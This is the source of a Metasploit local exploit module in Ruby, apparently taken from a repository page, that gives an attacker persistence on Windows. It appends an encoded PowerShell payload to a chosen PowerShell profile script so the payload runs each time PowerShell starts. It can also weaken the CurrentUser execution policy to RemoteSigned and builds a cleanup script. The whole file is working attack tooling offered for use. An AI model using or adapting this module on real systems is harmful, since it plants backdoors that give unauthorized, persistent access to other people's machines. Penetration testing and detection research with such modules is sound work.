169 lines
6.9 KiB
Ruby
169 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Powershell Profile Persistence',
|
|
'Description' => %q{
|
|
This module establishes persistence by modifying a PowerShell profile script, which is automatically
|
|
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
|
|
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'madefourit'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ARCH_X64, ARCH_X86],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
|
|
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
|
|
],
|
|
'DisclosureDate' => '2019-11-05',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_options [
|
|
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),
|
|
OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),
|
|
OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),
|
|
]
|
|
end
|
|
|
|
def policy_allows_execution?
|
|
# Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back
|
|
execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')
|
|
begin
|
|
@policies = JSON.parse(execution_policies)
|
|
rescue JSON::ParserError
|
|
print_error("Failed to parse powershell execution policies: #{execution_policies}")
|
|
return false
|
|
end
|
|
['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])
|
|
end
|
|
|
|
def check
|
|
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
|
|
|
|
unless policy_allows_execution?
|
|
if datastore['EXECUTIONPOLICY']
|
|
return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")
|
|
else
|
|
return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")
|
|
end
|
|
end
|
|
vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")
|
|
|
|
CheckCode::Appears('Powershell is installed and exploitable on the target system')
|
|
end
|
|
|
|
def backdoor_profile(profile_file)
|
|
module_created_file = false
|
|
unless file?(profile_file)
|
|
if datastore['CREATE']
|
|
print_status("#{profile_file} does not exist, creating it...")
|
|
folders = profile_file.split('\\')[0..-2]
|
|
folders = folders.join('\\')
|
|
unless directory?(folders)
|
|
mkdir(folders, cleanup: false)
|
|
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
|
|
end
|
|
unless write_file(profile_file, '') # write empty file so we can append later
|
|
print_error("Failed to create profile file at #{profile_file}")
|
|
return false
|
|
end
|
|
module_created_file = true
|
|
else
|
|
print_error("#{profile_file} does not exist and CREATE option is false")
|
|
return false
|
|
end
|
|
end
|
|
|
|
if module_created_file
|
|
@clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"
|
|
else
|
|
pfile = read_file(profile_file)
|
|
if pfile.nil?
|
|
vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")
|
|
else
|
|
backup_file = store_loot(
|
|
'powershell.profile',
|
|
'text/plain',
|
|
session,
|
|
pfile, profile_file.split('\\').last,
|
|
'powershell profile backup'
|
|
)
|
|
|
|
print_status("Created #{profile_file} backup: #{backup_file}")
|
|
@clean_up_rc << "upload #{backup_file} #{profile_file}\n"
|
|
end
|
|
end
|
|
|
|
pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
|
|
splitter = '-c '
|
|
pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here
|
|
pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes
|
|
|
|
vprint_status("Appending payload to #{profile_file}")
|
|
unless append_file(profile_file, "\n#{pload}\n")
|
|
print_error("Failed to append payload to #{profile_file}")
|
|
return false
|
|
end
|
|
true
|
|
end
|
|
|
|
def install_persistence
|
|
profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')
|
|
begin
|
|
profiles = JSON.parse(profiles)
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")
|
|
end
|
|
profiles = profiles.transform_keys { |k| k.to_s.upcase }
|
|
|
|
if !policy_allows_execution? && datastore['EXECUTIONPOLICY']
|
|
print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')
|
|
cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')
|
|
@clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"
|
|
end
|
|
|
|
case datastore['PROFILE']
|
|
when 'AUTO'
|
|
['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
|
|
unless profiles.key?(profile)
|
|
print_error("#{profile} not found in user's profiles")
|
|
next
|
|
end
|
|
success = backdoor_profile(profiles[profile])
|
|
break if success
|
|
end
|
|
when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'
|
|
unless profiles.key?(datastore['PROFILE'])
|
|
fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")
|
|
end
|
|
backdoor_profile(profiles[datastore['PROFILE']])
|
|
end
|
|
end
|
|
end
|